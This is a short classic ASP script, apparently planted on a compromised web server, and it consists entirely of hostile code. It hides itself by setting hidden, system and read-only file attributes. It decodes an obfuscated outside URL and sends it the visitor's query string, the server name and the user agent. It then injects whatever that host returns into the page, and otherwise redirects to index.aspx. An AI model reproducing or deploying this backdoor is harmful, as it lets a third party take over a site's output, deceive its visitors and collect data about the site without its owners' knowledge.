<% Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")) if f.attributes <> 39 then f.attributes = 39 end if %> <% function gethttppage(url) dim adxmlhttp set adxmlhttp = Server.createobject("microsoft.xmlhttp") adxmlhttp.open "get",url,false adxmlhttp.send() if adxmlhttp.readystate <> 4 then exit function gethttppage = Bytes2bStr(adxmlhttp.responsebody) set adxmlhttp = nothing End function function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("adodb.stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "GB2312" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End function Function AscEncrypt(AscEncode) AscEncode = Replace(AscEncode,"u","-") EncodeArr = Split(AscEncode,"a") For iEn=0 To UBound(EncodeArr) ChrAscNum = EncodeArr(iEn) If IsNumeric(ChrAscNum) Then EnTexts = EnTexts & Chr(ChrAscNum) End If Next AscEncrypt = EnTexts End Function cur_URL = Server.MapPath(".") arr_curURL = split(cur_URL,"\") len_arr = ubound(arr_curURL) this_curURL= arr_curURL(len_arr) url = AscEncrypt("104a116a116a112a58a47a47a101a110a46a50a48a49a52a115a101a111a56a56a56a46a105a110a102a111a47")&"?"&"lu="&Request.QueryString&"&w="&Request.ServerVariables("SERVER_NAME")&"&az=jf&lailu="&Request.ServerVariables("HTTP_USER_AGENT") str = gethttppage(url) if str="" then else response.write str Response.end() end if %> <% Response.Redirect("index.aspx") %>